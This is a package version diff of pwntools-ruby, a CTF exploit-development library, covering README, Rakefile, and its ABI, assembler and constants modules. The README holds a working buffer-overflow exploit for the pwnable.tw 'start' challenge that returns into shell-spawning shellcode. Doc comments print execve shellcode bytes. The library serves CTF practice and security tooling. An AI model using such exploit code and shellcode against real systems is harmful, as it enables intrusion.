pwntools 0.1.0 → 1.0.0

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA1:
-  metadata.gz: 03accad444e614bc79ec41ce5e4340d32058a3e0
-  data.tar.gz: 827fd60a5aded02428f145da00345acaeb9d42b3
+  metadata.gz: e8617d0c3ce0deb5ba38b0f4c2b4d11c26ff2c48
+  data.tar.gz: 22a859a445f8fb1fa84c9c164f2f093ccaf81bcb
 SHA512:
-  metadata.gz: f13058f95608bfd3444f2c99dde3d62b4d35d59a35ae3aed8b12a12fb016129fd8de2ed339feb0f6a9d36f798244e33970e91fbee94923b40da46bbe8150f082
-  data.tar.gz: 11ce79df711489bda139e77f9c02002a9e992c03be35dd06af760a2580a0fc3864462a1c292abf99a09a52a45fff1554f4001a65bc99154307821f6817740e88
+  metadata.gz: dec0121c94efbe114141de88e820e7ab64c25e64938e44413293a9b61d325ac6dcd0239588b930326a7c7da49378deebcbf94154cc59411e22f8926b95954668
+  data.tar.gz: 34f90a6171b82df95d5c5a78252ae370cc6251da6deeac65f2bbd011efa251ebf65e7435046cb159e42740c2f072ac6dc5de80f429496ed7f3cd2afe0978b020

data/README.md

@@ -12,12 +12,12 @@ Always sad when playing CTF that there's nothing equivalent to pwntools in Pytho
 While pwntools is awesome, I always love Ruby far more than Python...
 So this is an attempt to create such library.
 
-There's almost NOTHING here now.
-(Edit: there's something here now, but not much :wink:)
-Going to implement important things (socket, tubes, asm/disasm, pack/unpack utilities) first.
 Would try to have consistent naming with original pwntools, and do things in Ruby style.
 
 # Example Usage
+
+Here's an exploitation for `start` which is a challenge on [pwnable.tw](https://pwnable.tw).
+
 ```ruby
 # encoding: ASCII-8BIT
 # The encoding line is important most time, or you'll get "\u0000" when using "\x00" in code,
@@ -25,20 +25,97 @@ Would try to have consistent naming with original pwntools, and do things in Rub
 
 require 'pwn'
 
-p pack(0x41424344)  # 'DCBA'
-context.endian = 'big'
-p pack(0x41424344)  # 'ABCD'
+context.arch = 'i386'
+context.log_level = :debug
+z = Sock.new 'chall.pwnable.tw', 10000
+
+z.recvuntil "Let's start the CTF:"
+z.send p32(0x8048087).rjust(0x18, 'A')
+stk = u32(z.recvuntil "\xff")
+log.info "stack address: #{stk.hex}" # Log stack address
+
+# Return to shellcode
+addr = stk + 0x14
+payload = addr.p32.rjust(0x18, 'A') + asm(shellcraft.sh)
+z.write payload
+
+# Switch to interactive mode
+z.interact
+```
+
+More features and details can be found in the
+[documentation](http://www.rubydoc.info/github/peter50216/pwntools-ruby/master/frames).
 
-context.local(bits: 16) do
-  p pack(0x4142)  # 'AB'
-end
+# Installation
+
+### Install the latest release:
+```sh
+gem install pwntools
+```
+
+### Install from master branch:
+```sh
+git clone https://github.com/peter50216/pwntools-ruby
+cd pwntools-ruby
+gem build pwntools.gemspec && gem install pwntools-*.gem
 ```
 
+### optional
+
+Some of the features (assembling/disassembling) require non-Ruby dependencies. Checkout the
+installation guide for
+[keystone-engine](https://github.com/keystone-engine/keystone/tree/master/docs) and
+[capstone-engine](http://www.capstone-engine.org/documentation.html).
+
+Or you are able to get running quickly with
+
+```sh
+# Install Capstone
+sudo apt-get install libcapstone3
+
+# Compile and install Keystone from source
+sudo apt-get install cmake
+git clone https://github.com/keystone-engine/keystone.git /tmp/keystone
+cd /tmp/keystone
+mkdir build
+cd build
+../make-share.sh
+sudo make install
+```
+
+# Supported Features
+
+## Architectures
+
+- [x] i386
+- [x] amd64
+- [ ] arm
+- [ ] thumb
+
+## Modules
+
+- [x] context
+- [x] asm
+- [x] disasm
+- [x] shellcraft
+- [x] elf
+- [x] dynelf
+- [x] logger
+- [ ] tube
+  - [x] sock
+  - [ ] process
+- [ ] fmtstr
+- [x] util
+  - [x] pack
+  - [x] cyclic
+  - [x] fiddling
+
 # Development
 ```sh
-git clone git@github.com:peter50216/pwntools-ruby.git
+git clone https://github.com/peter50216/pwntools-ruby
 cd pwntools-ruby
-rake
+bundle
+bundle exec rake
 ```
 
 # Note to irb users

data/Rakefile

@@ -5,10 +5,10 @@ require 'bundler/gem_tasks'
 require 'rainbow'
 require 'rake/testtask'
 require 'rubocop/rake_task'
+require 'yard'
 
 RuboCop::RakeTask.new(:rubocop) do |task|
   task.patterns = ['lib/**/*.rb', 'test/**/*.rb']
-  task.formatters = ['files']
 end
 
 task default: %i(install_git_hooks rubocop test)
@@ -18,9 +18,13 @@ Rake::TestTask.new(:test) do |test|
   test.libs << 'test'
   test.pattern = 'test/**/*_test.rb'
   test.verbose = true
+  test.options = '--pride'
 end
 
+YARD::Rake::YardocTask.new(:doc)
+
 task :install_git_hooks do
+  next if ENV['CI']
   hooks = %w(pre-push)
   git_hook_dir = Pathname.new('.git/hooks/')
   hook_dir = Pathname.new('git-hooks/')

data/lib/pwn.rb

@@ -1,7 +1,7 @@
 # encoding: ASCII-8BIT
 
-# require this file for easy exploit development, but would pollute main Object
-# and some built-in objects (String, Integer, ...)
+# require this file for easy exploit development, but would pollute main Object and some built-in objects. (String,
+# Integer, ...)
 
 require 'pwnlib/pwn'
 
@@ -12,13 +12,15 @@ require 'pwnlib/ext/array'
 extend Pwn
 
 include Pwnlib
+include Pwnlib::Tubes
+
+# XXX(david942j): include here because module ELF and class ELF have same name..
+include ::Pwnlib::ELF
 
 # Small "fix" for irb context problem.
-# irb defines main.context for IRB::Context, which overrides our
-# Pwnlib::Context :(
-# Since our "context" should be more important for someone requiring 'pwn',
-# and the IRB::Context can still be accessible from irb_context, we should be
-# fine removing context.
+# irb defines main.context for IRB::Context, which overrides our Pwnlib::Context. :(
+# Since our "context" should be more important for someone requiring 'pwn', and the IRB::Context can still be accessible
+# from irb_context, we should be fine removing context.
 class << self
   remove_method(:context) if method_defined?(:context)
 end

data/lib/pwnlib/abi.rb

@@ -0,0 +1,60 @@
+# encoding: ASCII-8BIT
+
+require 'pwnlib/context'
+
+module Pwnlib
+  # Encapsulates information about a calling convention.
+  module ABI
+    # A super class for recording registers and stack's information.
+    class ABI
+      attr_reader :register_arguments
+      attr_reader :arg_alignment
+      attr_reader :stack_pointer
+      # Only used for x86, to specify the +eax+, +edx+ pair.
+      attr_reader :cdq_pair
+      def initialize(regs, align, stack_pointer, cdq_pair: nil)
+        @register_arguments = regs
+        @arg_alignment = align
+        @stack_pointer = stack_pointer
+        @cdq_pair = cdq_pair
+      end
+
+      class << self
+        def default
+          DEFAULT[arch_key]
+        end
+
+        def syscall
+          SYSCALL[arch_key]
+        end
+
+        private
+
+        def arch_key
+          [context.bits, context.arch, context.os]
+        end
+        include ::Pwnlib::Context
+      end
+    end
+
+    # The syscall ABI treats the syscall number as the zeroth argument,
+    # which must be loaded into the specified register.
+    class SyscallABI < ABI
+      attr_reader :syscall_str
+      def initialize(regs, align, stack_pointer, syscall_str)
+        super(regs, align, stack_pointer)
+        @syscall_str = syscall_str
+      end
+    end
+
+    DEFAULT = {
+      [32, 'i386', 'linux'] => ABI.new([], 4, 'esp', cdq_pair: %w(eax edx)),
+      [64, 'amd64', 'linux'] => ABI.new(%w(rdi rsi rdx rcx r8 r9), 8, 'rsp', cdq_pair: %w(rax rdx))
+    }.freeze
+
+    SYSCALL = {
+      [32, 'i386', 'linux'] => SyscallABI.new(%w(eax ebx ecx edx esi edi ebp), 4, 'esp', 'int 0x80'),
+      [64, 'amd64', 'linux'] => SyscallABI.new(%w(rax rdi rsi rdx r10 r8 r9), 8, 'rsp', 'syscall')
+    }.freeze
+  end
+end

data/lib/pwnlib/asm.rb

@@ -0,0 +1,146 @@
+# encoding: ASCII-8BIT
+
+require 'keystone_engine/keystone_const'
+
+require 'pwnlib/context'
+require 'pwnlib/util/ruby'
+
+module Pwnlib
+  # Convert assembly code to machine code and vice versa.
+  # Use two open-source projects +keystone+/+capstone+ to asm/disasm.
+  module Asm
+    module_function
+
+    # Disassembles a bytestring into human readable assembly.
+    #
+    # {.disasm} depends on another open-source project - capstone, error will be raised if capstone is not intalled.
+    # @param [String] data
+    #   The bytestring.
+    # @param [Integer] vma
+    #   Virtual memory address.
+    #
+    # @return [String]
+    #   Disassemble result with nice typesetting.
+    #
+    # @raise [LoadError]
+    #   If libcapstone is not installed.
+    #
+    # @example
+    #   context.arch = 'i386'
+    #   print disasm("\xb8\x5d\x00\x00\x00")
+    #   #   0:   b8 5d 00 00 00 mov     eax, 0x5d
+    #
+    #   context.arch = 'amd64'
+    #   print disasm("\xb8\x17\x00\x00\x00")
+    #   #   0:   b8 17 00 00 00 mov     eax, 0x17
+    #   print disasm("jhH\xb8/bin///sPH\x89\xe71\xd21\xf6j;X\x0f\x05", vma: 0x1000)
+    #   #  1000:   6a 68                         push    0x68
+    #   #  1002:   48 b8 2f 62 69 6e 2f 2f 2f 73 movabs  rax, 0x732f2f2f6e69622f
+    #   #  100c:   50                            push    rax
+    #   #  100d:   48 89 e7                      mov     rdi, rsp
+    #   #  1010:   31 d2                         xor     edx, edx
+    #   #  1012:   31 f6                         xor     esi, esi
+    #   #  1014:   6a 3b                         push    0x3b
+    #   #  1016:   58                            pop     rax
+    #   #  1017:   0f 05                         syscall
+    def disasm(data, vma: 0)
+      require_message('crabstone', install_crabstone_guide) # will raise error if require fail.
+      cs = Crabstone::Disassembler.new(cap_arch, cap_mode)
+      insts = cs.disasm(data, vma).map do |ins|
+        [ins.address, ins.bytes.pack('C*'), ins.mnemonic, ins.op_str.to_s]
+      end
+      max_dlen = format('%x', insts.last.first).size + 2
+      max_hlen = insts.map { |ins| ins[1].size }.max * 3
+      insts.reduce('') do |s, ins|
+        hex_code = ins[1].bytes.map { |c| format('%02x', c) }.join(' ')
+        inst = if ins[3].empty?
+                 ins[2]
+               else
+                 format('%-7s %s', ins[2], ins[3])
+               end
+        s + format("%#{max_dlen}x:   %-#{max_hlen}s%s\n", ins[0], hex_code, inst)
+      end
+    end
+
+    # Convert assembly code to machine code.
+    #
+    # @param [String] code
+    #   The assembly code to be converted.
+    #
+    # @return [String]
+    #   The result.
+    #
+    # @example
+    #   assembly = shellcraft.amd64.linux.sh
+    #   context.local(arch: 'amd64') { asm(assembly) }
+    #   #=> "jhH\xB8/bin///sPj;XH\x89\xE71\xF6\x99\x0F\x05"
+    #
+    #   context.local(arch: 'i386') { asm(shellcraft.sh) }
+    #   #=> "jhh///sh/binj\vX\x89\xE31\xC9\x99\xCD\x80"
+    #
+    # @diff
+    #   Not support +asm('mov eax, SYS_execve')+.
+    def asm(code)
+      require_message('keystone_engine', install_keystone_guide)
+      KeystoneEngine::Ks.new(ks_arch, ks_mode).asm(code)[0]
+    end
+
+    ::Pwnlib::Util::Ruby.private_class_method_block do
+      def cap_arch
+        {
+          'i386' => Crabstone::ARCH_X86,
+          'amd64' => Crabstone::ARCH_X86
+        }[context.arch]
+      end
+
+      def cap_mode
+        {
+          32 => Crabstone::MODE_32,
+          64 => Crabstone::MODE_64
+        }[context.bits]
+      end
+
+      def ks_arch
+        {
+          'i386' => KeystoneEngine::KS_ARCH_X86,
+          'amd64' => KeystoneEngine::KS_ARCH_X86
+        }[context.arch]
+      end
+
+      def ks_mode
+        {
+          32 => KeystoneEngine::KS_MODE_32,
+          64 => KeystoneEngine::KS_MODE_64
+        }[context.bits]
+      end
+
+      # FFI is used in keystone and capstone binding gems, this method handles when libraries not installed yet.
+      def require_message(lib, msg)
+        require lib
+      rescue LoadError => e
+        raise LoadError, e.message + "\n\n" + msg
+      end
+
+      def install_crabstone_guide
+        <<-EOS
+#disasm dependes on capstone, which is detected not installed yet.
+Checkout the following link for installation guide:
+
+http://www.capstone-engine.org/documentation.html
+
+        EOS
+      end
+
+      def install_keystone_guide
+        <<-EOS
+#asm dependes on keystone, which is detected not installed yet.
+Checkout the following link for installation guide:
+
+https://github.com/keystone-engine/keystone/tree/master/docs
+
+        EOS
+      end
+      include ::Pwnlib::Context
+    end
+  end
+end

data/lib/pwnlib/constants/constant.rb

@@ -4,9 +4,23 @@ require 'pwnlib/util/fiddling'
 
 module Pwnlib
   module Constants
-    # A class that includes name and value
+    # A class that includes name and value representing a constant.
+    # This class works like an integer, and support operations with integers.
+    #
+    # @example
+    #   a = Pwnlib::Constants::Constant.new('a', 0x3)
+    #   #=> Constant("a", 0x3)
+    #   [a + 1, 2 * a, a | 6, a == 3, 0 > a]
+    #   #=> [4, 6, 7, true, false]
     class Constant < Numeric
-      attr_reader :str, :val
+      # @return [String]
+      attr_reader :str
+
+      # @return [Integer]
+      attr_reader :val
+
+      # @param [String] str
+      # @param [Integer] val
       def initialize(str, val)
         @str = str
         @val = val

data/lib/pwnlib/constants/constants.rb

@@ -1,45 +1,54 @@
 # encoding: ASCII-8BIT
 
-require 'pwnlib/context'
+require 'dentaku'
+
 require 'pwnlib/constants/constant'
+require 'pwnlib/context'
 
 module Pwnlib
-  # Module containing constants
+  # Module containing constants.
+  #
   # @example
   #   context.arch = 'amd64'
   #   Pwnlib::Constants.SYS_read
-  #   # => Constant('SYS_read', 0x0)
+  #   #=> Constant('SYS_read', 0x0)
   module Constants
-    # @note Do not create and call instance method here. Instead, call module method on {Constants}.
-    module ClassMethods
-      include ::Pwnlib::Context
-      ENV_STORE = {} # rubocop:disable Style/MutableConstant
-      # Try getting constants when method missing
+    class << self
+      # To support getting constants like +Pwnlib::Constants.SYS_read+.
+      #
+      # @return [Constant]
+      #
+      # @raise [NoMethodError]
       def method_missing(method, *args, &block)
         args.empty? && block.nil? && get_constant(method) || super
       end
 
+      # @return [Boolean]
       def respond_to_missing?(method, _include_all)
         !get_constant(method).nil?
       end
 
-      # Eval for Constants
+      # Eval for Constants.
       #
       # @param [String] str
-      #   The string to be evaluate.
+      #   The string to be evaluated.
       #
       # @return [Constant]
-      #   The evaluate result.
+      #   The evaluated result.
       #
       # @example
       #   eval('O_CREAT')
-      #   => Constant('(O_CREAT)', 0x40)
-      #
-      # @todo(david942j): Support eval('O_CREAT | O_APPEND') (i.e. safeeval)
+      #   #=> Constant('(O_CREAT)', 0x40)
+      #   eval('O_CREAT | O_APPEND')
+      #   #=> Constant('(O_CREAT | O_APPEND)', 0x440)
       def eval(str)
         return str unless str.instance_of?(String)
-        const = get_constant(str.strip.to_sym)
-        ::Pwnlib::Constants::Constant.new("(#{str})", const.val)
+        begin
+          val = calculator.evaluate!(str.strip).to_i
+        rescue Dentaku::UnboundVariableError => e
+          raise NameError, e.message
+        end
+        ::Pwnlib::Constants::Constant.new("(#{str})", val)
       end
 
       private
@@ -48,6 +57,7 @@ module Pwnlib
         [context.os, context.arch]
       end
 
+      ENV_STORE = {} # rubocop:disable Style/MutableConstant
       def current_store
         ENV_STORE[current_arch_key] ||= load_constants(current_arch_key)
       end
@@ -56,9 +66,15 @@ module Pwnlib
         current_store[symbol]
       end
 
-      # Small class for instance_eval loaded file
+      CALCULATORS = {} # rubocop:disable Style/MutableConstant
+      def calculator
+        CALCULATORS[current_arch_key] ||= Dentaku::Calculator.new.store(current_store)
+      end
+
+      # Small class for instance_eval loaded file.
       class ConstantBuilder
         attr_reader :tbl
+
         def initialize
           @tbl = {}
         end
@@ -75,8 +91,8 @@ module Pwnlib
         builder.instance_eval(IO.read(filename))
         builder.tbl
       end
-    end
 
-    extend ClassMethods
+      include ::Pwnlib::Context
+    end
   end
 end